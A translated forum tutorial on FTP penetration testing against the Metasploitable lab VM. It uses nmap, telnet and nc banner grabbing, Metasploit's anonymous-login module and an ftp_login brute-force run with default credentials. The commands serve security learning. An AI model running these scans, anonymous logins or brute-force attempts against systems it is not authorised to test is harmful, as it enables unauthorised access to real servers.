Penetration Testing on FTP Protocol

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Kullanıcı1233

Kıdemli Üye
19 Tem 2011
4,371
12
Hi everyone! We're gonne perform some penetration testing on FTP protocol which is one of TCP/IP protocol.

ADgZY2.png


What is FTP?

7se0bI5Os9OL3Q


FTP stands for File Transfer Protocol. It a protocol that allows share file between two internet-connected computer. I'm gonne perform this penetration testing through Kali Linux tools. And my target will be métasploitable vulnerable machine. I'll share download links at the end of this topic. Let's get started with running our métasploitable vulnerable machine and checking if an IP address assigned yet. To do that, type 'ifconfig' on métasploitable command line. It's gonna list ethernet cards on system.

IGwe60.png


Now we got IP address. Type this IP address to your browser's URL bar and see if you have access.

iRhFtW.png


Yes we got access. Now we're doing all the job on Kali Linux, we're done here. But don't close it tho because everything we're gonna do will be on this vulnerable machine. I will show you totally 5 tools and it's not just gonne be about information gathering, also penetration.

First tool's name is Nmap.

[ame]https://www.youtube.com/watch?v=3Ab1gw8vQjg[/ame]

Nmap usage commands -detailed-: Nmap Cheat Sheet

Now how are we gonne use it? First of all, we need to check that our port that we can exploit is open or not. This is some basic information gathering processes. You can check out what are parameters i used doing from above link.

Kod:
nmap -p 20-21 -sS (ip_address_of_target_system) -n -vv

like:

Kod:
nmap -p 20-21 -sS 192.168.1.15 -n -vv

Then press Enter.

RVSFRB.png


FTP protocol works on port 21. We got MAC address, too. Now, we need version informations.

Kod:
nmap -p 21 -sS -sV 192.168.1.15 -n -vv



Here it is.

Kod:
vsftpd 2.3.4

Finding Fingerprint-banner with Telnet and NC

Let's start with Telnet. If Telnet is active on target system, we can use it to find open ports' version informations. It's easy to use. Just type:

Kod:
telnet 192.168.1.15 21

LS5CKp.png


This will give us port's version info. But it asks username-pass to continue. That's why it's not so common. We can find open ports' version informations by using NC in the same way. It's also easy to use.

Kod:
nc 192.168.1.15 21

lGTjCC.png


Métasploit - FTP - ftp_version module

We gonna use it to find FTP protocol's version info. Version info is so important. To run métasploit:

Kod:
msfconsole

It can take some time to run, don't worry. Or you can also type 'Métasploit Framwork' on Kali Linux search bar. To open module that we gonna use, type:

Kod:
use auxiliary/scanner/ftp/ftp_version

To see options:

Kod:
show options

OvKNs8.png


We have to input infos where says 'YES'. Type targeted system's IP address after 'RHOSTS'. We need to use 'set' command to do that.

Kod:
set RHOSTS (ip_address_of_target)

like:

Kod:
set RHOSTS 192.168.1.15

LAdORR.png


Now we need to run this. Obviously:

Kod:
run

Now we got this.

Kod:
FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'

We have banner and version infos. fn: these are the commands that i used to find that module.

Kod:
cd /usr/share
ls
cd M3tasploit-framework/
ls
cd modules/

PDcU8z.png


You can use any module you want.

We gonna continue on Métasploit (I'm kinda fan of it, sorry sue me..)

M3tasploit -FTP - ftp_anonymous module

We gonna try to pentest into FTP protocol from open port anonymously. Let's run the module first:

Kod:
use auxiliary/scanner/ftp/anonymous

Just like above module:

Kod:
show options

jvHsOK.png


Again, type your target IP address:

Kod:
set RHOSTS (ip_address_of_target)

like:

Kod:
set RHOSTS 192.168.1.15

e9Wigi.png


And we're ready to go.

Kod:
run

mViOar.png


Now we've penetrated into FTP protocol. Pay attention here. Click on any dir and find Desktop. Press 'Ctrl + L' and type this command:

Kod:
ftp://(ip_address_of_target)

like:

Kod:
ftp://192.168.1.15

wujKp8.png


Then press Enter. We have a panel now. Choose anonymous connection and continue.

YOvSI1.png


Press Enter and we're in!

XLEhtd.png


You can't see so many things in this one because it's an purposely vulnerable system. When you perform it on real pc, you can see something.

M3tasploit -FTP - ftp_login Brute Force attack

We gonna perform a brute force attack with this module.

Kod:
use auxiliary/scanner/ftp/ftp_login

Then again:

Kod:
show options

tlyImv.png


It's a lil bit hard to use this tool. Even if you're beginner at this stuff, it can be real ball-buster. We gonna modify so many parameters. Let's start with 'RHOSTS' again.

Kod:
set RHOSTS (ip_address_of_target)

like:

Kod:
set RHOSTS 192.168.1.15

Our password will be default one: 'msfadmin'

Kod:
set Password msfadmin

Same here:

Kod:
set Username msfadmin

Time for threads:

Kod:
set THREADS 50

I think that's enough. One last check:

Kod:
show options

G9xbMi.png


Everything seems ok now. Ready to go.

Kod:
run

WQM5cW.png


It's 'Successful'!

Kali Linux Download: https://www.kali.org/downloads/
Métasploitable Vulnerable Machine: https://sourceforge.net/projects/métasploitable/

Original: https://www.turkhackteam.org/linux/1764168-ftp-protokolu-pentest-islemleri-hacker.html
Translator: @R4V3N
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.